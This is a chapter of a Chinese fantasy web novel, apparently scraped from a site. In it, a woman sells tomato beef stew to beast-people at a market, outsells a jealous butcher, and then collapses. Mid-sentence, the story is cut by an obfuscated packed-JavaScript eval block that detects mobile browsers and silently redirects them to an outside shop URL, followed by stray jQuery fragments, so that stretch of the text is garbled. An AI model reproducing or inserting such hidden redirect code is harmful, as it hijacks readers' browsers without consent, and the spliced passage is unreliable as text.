清晨的薄雾早已被钢铁都市散发的余热驱散，地面蒸腾着混杂尘土和各种兽人体味的潮湿气息。
宋渺渺的摊位毫不起眼，在第二交易区的边缘位置，临时摊位费还是花了一千银币。
这让她非常肉疼，余额一下子就少了五分之一。
但是这里至少秩序井然，戍卫所的巡逻队会定时经过，不像混乱的第四交易区，这里没有兽人敢鬼鬼祟祟偷卖致幻蘑菇。
她拒绝了水苏提供的便携式加热装置，固执地选择了最原始的炭火炉。
在宋渺渺看来，过于标准化的科技手段很难与真正的美味产生共鸣。
没有火，再好吃的东西都会少了灵魂。
在偏僻的角落里，那一口架在简易炭火灶上的陶锅，无形中吸引了不少目光。
两个闲逛的年轻兽人停下脚步，好奇地探头张望，“哎，你看这个雌性，生火架锅的，架势挺足，这是要卖什么玩意？”一个獾族青年用胳膊肘碰了碰同伴。
“不知道，不会是在煮草药吧？”同伴耸耸肩。
宋渺渺对周围的打量恍若未觉，耐心地等待炭火把锅烧热，身旁有两大桶已经煮好的番茄炖肉，现在只需要加热，重新激发出香味。
她舀起一大勺牛油，油在锅底迅速化开。等油温合适，这才将桶中连汤带肉的番茄炖肉倒入锅中。
含蓄的香味，在热油与高温的猛烈激发下，骤然变得极具侵略性。
番茄酸甜的果香，牛肉醇厚的肉香，以及那些兽人们从未闻过的八角和山胡椒香料的独特芳香，交织在一起，蛮横地向四周扩散。
“什么味道？！”
“好香哇！从哪里来的？”
附近几个摊位的摊主和零星的顾客几乎同时停下动作，耸动着鼻子，四处张望，就连远处一些正在挑选机械零件的兽人，也不由自主地转过头，喉结滚动，寻找这股强烈的香气。
越桃反应很快，就地拿起一张薄薄的纸壳，对着锅中翻涌的香气扇动起来，让那诱人的味道飘得更远。
更多的兽人被吸引了过来，围在摊位前。
宋渺渺深吸一口气，清了清嗓子，大声吆喝起来：“热乎乎的炖肉！新出锅的番茄牛肉来咯！”
“先尝后买，不好吃不要钱！”
“走过路过别错过，酸甜开胃，入口即化！”
她边吆喝，边用长柄勺缓缓搅动，深褐色的牛肉块在红亮浓稠的汤汁里翻滚，每一次搅动都带起更汹涌的香气。
“那是什么东西？”有兽人问道。
“这是……肉？怎么煮成这样了？只有变质腐烂的肉才会是这样。”
“把肉和酸果一起煮？这能好吃吗？”
年长的虎族兽人拄着拐杖，皱着眉头，他一生茹毛饮血，吃惯了最新鲜的生肉，这种水煮的方式在他看来简直是糟蹋食物，而且汤汤水水的，能补充多少体力？更不要说，森林里遍地都是这红色的酸果，口味酸涩，不顶饿，没人爱吃这个。
但这股实实在在的香气勾得他唾液分泌，又挪不动脚。
一个嗅觉敏锐的狼族青年按捺不住，挤到最前面，目光灼灼地盯着锅里翻滚的肉块，喉结上下滚动，旁边一个抱着幼崽的熊族雌性也被拉扯着围过来，幼崽眼巴巴地望着咕嘟冒泡的锅，小手含在嘴里，含糊地嘟囔：“妈妈，香香……”
宋渺渺看准时机，立即舀出肉块，放入一个纸碟当中，笑容温和地递过去：“这位大哥，这位姐姐，可以先尝尝味道，孩子也可以试试。”
狼族兽人接过去，也顾不上烫，直接将裹满汤汁的肉块扔进嘴里。
下一秒，他眼睛骤然睁大，满脸愕然，牙齿几乎没用力，那牛肉就在口中化开，浓郁的酸甜肉香瞬间充盈整个口腔，他甚至来不及细品，喉间发出一声满足的呜咽。
“……这个肉怎么会这么软，这个味道怎么弄出来的？”狼族兽人舔了舔嘴角，回味着滋味。
宋渺渺笑而不答，适时地提高声音：“好吃的番茄炖肉，一百银币一份！一百银币，数量有限，卖完即止！”
这是宋渺渺经过考量后定下的价格。
水苏和越桃俩人都认为这个定价太低，政府统一供给的营养液都要一百银币一瓶，蛋白棒甚至要一百五十，这么好吃的东西居然只要一百。宋渺渺微笑解释薄利多销，这个价位可以满足大部分兽人的需求，能迅速打开市场。
“我要三份！”狼族兽人立刻喊道，随即又改口，“不！五份！我要五份！”
他打开光脑对准宋渺渺亮出的收款码，生怕动作慢了就没了。
“妈妈！要吃肉肉！我要吃那个！”熊族幼崽在他母亲的怀里扭动，跳下来大声嚷嚷。
熊族雌性还在犹豫。
这食物太新奇了，而且帝都推崇的是姜满满公主带来的营养液科技，这种原始烹煮的东西……安全吗？她拉走幼崽：“乖，我们去买营养液，那个更好。”
“不嘛不嘛！就要吃这个！就要！”幼崽开始耍赖，小短腿钉在地上不肯动。
宋渺渺又舀出两块肉，吹了吹，半蹲下｜身递给幼崽：“小朋友，阿姨请你吃一块，不要钱。”
幼崽迫不及待地塞进嘴里，烫得直哈气，却含糊不清地大叫起来：“好吃！妈妈！肉肉甜甜的，软软的！好好吃！”
懵懂的孩子不会在吃的方面骗人。
好不好吃反应是最真实的。
熊族雌性看着幼崽亮晶晶的眼睛和沾满汤汁的小嘴，终于俯身，就着孩子的手咬了一小块剩余的肉。
……原来还有这么好吃的兽肉。
“给我…也来三份！”她立刻说道，声音带着一丝激动，“我带回去给孩子他爸尝尝！”
“好嘞，谢谢惠顾！”宋渺渺清脆地应道，同时指挥，“水苏，越桃，给这位大哥五份，这位姐姐三份，打包好！”
有了两个活生生的例子，尤其是那狼族兽人迫不及待地当场又打开一份，狼吞虎咽地吃起来，周围观望的兽人们骚动起来。
“真的这么好吃？”
“一百银币……鲜肉都不止这个价了，试试吧？”
“不会是托吧？可那幼崽该不会说谎……”
“买一份尝尝，不好吃就当少吃一顿肉。”
“给我也来一份！”
“我也要一份！”
“我先来的，老板，怎么支付？”
兽人只需集中精神，眼神锁定接受码，指尖操控，意识流转间便能完成支付。
场面迅速升温，收款到账的提示音接连响起。
兽人们争先恐后地想要尝尝味道。
来买炖肉的兽人越来越多，三人顿时忙得脚不沾地，盛肉、打包、光脑确认收钱，两桶看着不少的炖肉，以肉眼可见的速度减少。
眼见着队伍越排越长，对面售卖新鲜兽肉的摊位今日却无人光顾了。
老板是位膀大腰圆的牛族兽人，名叫屠烈，他瞪着自己摊位上血淋淋品质上乘的肋排和腿肉，又看看对面那口围得水泄不通的大锅。
屠烈脸色越来越难看。
“咣！”
屠烈狠狠把砍刀剁进厚重的案板，粗壮的手臂环抱在胸前，从鼻子里重重哼出一口气，洪亮的声音刻意拔高，满是不屑：“哧！花里胡哨！把好好的肉煮得稀巴烂，汤汤水水的，能顶个屁的饱？糊弄兽人的玩意，谁吃这软趴趴的烂糊！”
他嗓门极大，附近不少兽人都听见了，纷纷侧目。一些排在队伍后面的兽人，本来就有些犹豫，此时脸上也露出了迟疑。
宋渺渺手微微一顿，抬起眼帘，平静地看了屠烈一眼，她没有立刻争辩，依旧专注于眼前的顾客，“您拿好，小心烫。”
她的淡定回应与屠烈的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007046|194035||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
暴躁指责形成鲜明对比。
不少兽人看在眼里，人家实打实做出这么香的东西，卖得便宜，态度也好，比那只会嚷嚷、肉价还死贵的屠夫强多了。
屠烈见自己的话没起多大作用，反而让一些兽人对他投来不满的目光，心头火气更旺。他眼珠子一转，看到自家幼崽正扒在摊位边，眼巴巴地望着对面，口水都快流出来了，顿时计上心头。
他摸出一袋银币塞给幼崽，压低声音：“去，去买一份回来！我倒要看看，到底是什么邪门玩意儿，能把肉弄成那样！”
幼崽很快捧着包好的炖肉溜了回来。
屠烈警惕地左右看看，迅速背过身，用粗短的手指捏起一块肉，迟疑地塞进嘴里，咀嚼。
他脸上的横肉瞬间僵住。
屠烈眼睛瞪得滚圆，脸上满是错愕、震惊和认知被颠覆的茫然
这复杂的味道，酥烂的口感，他根本分辨不出是什么。屠烈做了三十年肉贩，自认对肉的了解无人能及，可这小小一块炖肉，却像一记无声的耳光，狠狠扇在他脸上。
危机感陡然窜上脊背。
这样下去，谁还来买需要费力撕咬的鲜肉？
屠烈终究是没忍住，趁着空隙，蹭了过来，粗声粗气地问：“喂，你这里头……除了酸果，还放了什么特别的东西？那香味，不像普通的煮肉。”
宋渺渺正擦着锅边，闻言抬头，见是对面肉摊老板，坦然一笑：“您说香味啊？是在林子里摘了些野果香草叶子，一起煮了提味。”
林子里摘的？
屠烈一愣，将信将疑。
林子里的东西他见得多了，哪有这种神奇效果？他盯着宋渺渺清澈坦荡的脸，心里犯起嘀咕，这雌性……绝对深藏不露。
他默默走回自己冷清的肉案，第一次对自己的手艺产生了怀疑。
队伍还在延长，锅里的肉却已见底。
宋渺渺不得不安抚道：“大家别急，今天准备得不多，这就卖完了，明天同样时间，我们还在这里，一定备足份量！”
得知明天还有，那些没买到的兽人只得遗憾散去，离开前还不忘再三确认明天出摊的时间。
越桃拉着载有空桶和锅具手推车，脚步轻快，毛茸茸的尾巴在身后轻轻晃动。
水苏专心清点着剩余的包装纸盒，嘴唇无声开合，显然正在计算总共卖出去了多少份炖肉。
“怎么样，卖了多少？”宋渺渺问道。
水苏抬起头，素来平静的眼眸里也闪过一丝光亮：“一共卖出146份。”
一份一百银币，146份就是14600银币。
第一次摆摊竟然能如此顺利，虽然距离十万的目标还很遥远，但这无疑是成功的第一步。
三人皆是高兴不已。
宋渺渺心中盘算着明天的计划，明天可以增加两倍的份量，等过一段时间还可以尝试点新的菜式。她兴奋地跟俩人说着：“今天辛苦了！晚上我们吃点好的庆祝一下，我想想，煎个牛排怎么样？再用野韭和鸟蛋……”
她的话戛然而止。
宋渺渺身形忽然一晃，一阵强烈的眩晕袭来，眼前的道路，天边的云彩，整个世界都莫名开始旋转扭曲，越桃和水苏的声音也突然变得模糊不清，像隔着一层厚厚的墙壁。
宋渺渺摇了摇头，抬起手想要扶住额头，指尖却一阵发麻。
紧接着，一股温热的暖流猝不及防地从鼻腔涌出，迅速滴落，在她胸前崭新的衣服上晕开一小片刺目的殷红。
“渺渺姐姐？！”
越桃和水苏的惊呼声仿佛从极远的地方，震荡着传来。
宋渺渺张了张嘴，想告诉她们自己没事，却发现自己连一丝声音都挤不出来，无边的黑暗如潮水般从四面八方涌来，迅速淹没她的意识。
她的身体像断了线的木偶，直挺挺向后倒去。